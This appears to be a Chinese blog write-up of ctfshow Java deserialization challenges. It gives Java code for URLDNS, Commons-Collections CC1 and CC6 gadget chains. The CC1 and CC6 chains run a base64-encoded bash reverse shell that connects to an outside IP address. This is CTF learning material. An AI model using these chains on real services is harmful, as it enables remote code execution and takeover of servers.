首页 > 编程语言 >ctfshow刷题(Java反序列化)

ctfshow刷题(Java反序列化)

时间:2023-07-06 20:44:41浏览次数:47  
标签:java org Object Java ctfshow import new 序列化 class

CTFshowJava反序列化

web846

urldns链

import java.io.ByteArrayOutputStream;  
import java.io.IOException;  
import java.io.ObjectOutput;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.Field;  
import java.net.URL;  
import java.util.Base64;  
import java.util.HashMap;  
  
public class URLDNS {  
public static void serialize(Object obj) throws IOException{  
ByteArrayOutputStream data =new ByteArrayOutputStream();  
ObjectOutput oos =new ObjectOutputStream(data);  
oos.writeObject(obj);  
oos.flush();  
oos.close();  
System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));  
};  
  
public static void main(String[] args) throws Exception{  
URL url=new URL("http://28bc736c-f956-4721-8651-efc6e2beb94a.challenge.ctf.show/");  
Class<?> c=url.getClass();  
Field hashcode=c.getDeclaredField("hashCode");  
hashcode.setAccessible(true);  
hashcode.set(url,1);  
HashMap<URL,Integer> h = new HashMap<URL,Integer>();  
h.put(url,1);  
hashcode.set(url,-1);  
serialize(h);  
}  
}

web847

环境Java7Common-Collection 3.1 CC1

package org.example;  
  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.map.TransformedMap;  
  
import java.io.*;  
import java.lang.annotation.Target;  
import java.lang.reflect.Constructor;  
import java.util.Base64;  
import java.util.HashMap;  
import java.util.Map;  
  
public class Main {  
public static void main(String[] args) throws Exception{  
Transformer[] transformers =new Transformer[]  
{  
new ConstantTransformer(Runtime.class),  
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),  
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),  
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDEuNzAuMzMvODg4OCAwPiYx}|{base64,-d}|{bash,-i}"})  
};  
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);  
HashMap<Object,Object> hashMap=new HashMap<Object,Object>();  
hashMap.put("value",chainedTransformer);  
Map<Object,Object> transformedMap =TransformedMap.decorate(hashMap,null,chainedTransformer);  
Class c= Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
Constructor annotationInvocationHandler=c.getDeclaredConstructor(Class.class, Map.class);  
annotationInvocationHandler.setAccessible(true);  
Object obj= annotationInvocationHandler.newInstance(Target.class,transformedMap);  
serialize(obj);  
}  
public static void serialize(Object obj) throws Exception{  
ByteArrayOutputStream data=new ByteArrayOutputStream();  
ObjectOutputStream oos = new ObjectOutputStream(data);  
oos.writeObject(obj);  
oos.flush();  
oos.close();  
System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));  
}  
}

反弹shell

https://x.hacking8.com/java-runtime.html

Web848

CC6

package org.example;  
  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;  
import org.apache.commons.collections.map.TransformedMap;  
import sun.misc.BASE64Decoder;  
  
import javax.swing.plaf.basic.BasicComboPopup;  
import java.io.*;  
import java.lang.annotation.Retention;  
import java.lang.annotation.Target;  
import java.lang.reflect.*;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.Base64;  
import java.util.HashMap;  
import java.util.Map;  
  
public class Main {  
public static void main(String[] args) throws Exception{  
//定义一系列Transformer对象,组成一个变换链  
Transformer[] transformers = new Transformer[]{  
new ConstantTransformer(Runtime.class),  
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),  
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDEuNzAuMzMvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}"})  
};  
//将多个Transformer对象组合成一个链  
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
  
HashMap<Object,Object> hash = new HashMap<>();  
Map<Object,Object> lazyMap = LazyMap.decorate(hash, new ConstantTransformer(1));  
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa");  
HashMap<Object,Object> hashMap = new HashMap<>();  
hashMap.put(tiedMapEntry,"bbb");  
hash.remove("aaa");  
Class c = LazyMap.class;  
Field declaredField = c.getDeclaredField("factory");  
declaredField.setAccessible(true);  
declaredField.set(lazyMap,chainedTransformer);  
  
serialize(hashMap);  
}  
public static void serialize(Object obj) throws Exception {  
ByteArrayOutputStream data=new ByteArrayOutputStream();  
ObjectOutputStream oos = new ObjectOutputStream(data);  
oos.writeObject(obj);  
oos.flush();  
oos.close();  
System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));  
}  
}

标签:java,org,Object,Java,ctfshow,import,new,序列化,class
From: https://www.cnblogs.com/V3g3t4ble/p/17533302.html

相关文章

  • java 下载多层级zip 压缩包
    1.参数 2.代码实现  3.获取单个文件流程 4. ......
  • Java基础——枚举enum
    一、什么是枚举枚举,顾名思义就是一个个的列出来,和类以及接口是同一个级别的类型,本质就是类(final类)。它用于声明一组命名的常数的集合,当一个变量有几种可能的取值时,可以将它定义为枚举类型。Java中由关键字enum来定义一个枚举类型。 定义一个简单的枚举:这个枚举定义了两个常量......
  • 每日汇报 第二周第五天 JAVA字符串
    今日所学:掌握创建字符串的三种方法;掌握13种操作字符串的方法;掌握indexOf()、lastLndexOf()和equals()方法的注意事项和用法;找你给我创建StringBuilder类对象的三种方法;掌握六种操作StringBuilder类对象的方法明日计划:JAVA的常用类遇到困难:JAVA开始上难度了,需要更......
  • java.lang.ClassNotFoundException: org.springframework.web.context.ContextLoaderL
    java.lang.ClassNotFoundException:org.springframework.web.context.ContextLoaderListener类没有找到 解决:file--properties--选择Deployment Assembly --再点击右边的Add按钮--选择JavaBuildPathEntries--点击Next按钮--选择你的MavenDependencies......
  • 七月六号Java学习
    今天学习了键盘输入,下载idea,了解到怎么创建项目,模块,并写一个helloworld的代码  ......
  • Java 将PNG图片白色背景转为透明背景
    代码实现BufferedImagesourceImage=ImageIO.read(imageFile);intheight=sourceImage.getHeight();intwidth=sourceImage.getWidth();BufferedImagenewImage=newBufferedImage(width,height,BufferedImage.TYPE_INT_ARGB);Graphics2Dg2d=newImage.createGra......
  • Java实现浏览器端大文件分片上传控件
    ​ 核心原理: 该项目核心就是文件分块上传。前后端要高度配合,需要双方约定好一些数据,才能完成大文件分块,我们在项目中要重点解决的以下问题。* 如何分片;* 如何合成一个文件;* 中断了从哪个分片开始。如何分,利用强大的js库,来减轻我们的工作,市场上已经能有关于大文件分块......
  • java -- 时间
       ......
  • java实现文本转语音(即语音朗读)
    java实现文本转语音(即语音朗读)1.方式一:使用jacob离线语音合成1.下载jacob-1.18.zip链接:https://pan.baidu.com/s/1-zYB9I4VF5cPuj3ok1WLyg提取码:7t1g2.将jacob-1.18-x64.dll拷贝到jdk的bin目录或windows/SysWOW64目录中3.添加需要的依赖<!--https://mvnrepository.com/a......
  • java http大文件断点续传上传问题
    ​ 这里只写后端的代码,基本的思想就是,前端将文件分片,然后每次访问上传接口的时候,向后端传入参数:当前为第几块文件,和分片总数下面直接贴代码吧,一些难懂的我大部分都加上注释了:上传文件实体类:看得出来,实体类中已经有很多我们需要的功能了,还有实用的属性。如MD5秒传的信息。pub......